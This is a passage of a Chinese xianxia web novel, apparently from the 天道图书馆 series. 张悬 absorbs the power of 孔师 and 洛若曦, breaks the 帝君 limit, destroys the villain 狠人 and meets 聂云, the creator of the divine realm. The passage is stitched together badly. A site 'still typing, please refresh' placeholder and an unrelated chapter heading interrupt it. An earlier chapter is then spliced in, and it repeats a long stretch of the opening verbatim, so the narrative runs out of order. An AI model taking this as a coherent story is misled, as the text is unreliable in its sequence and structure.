“所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第12章 粽子 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 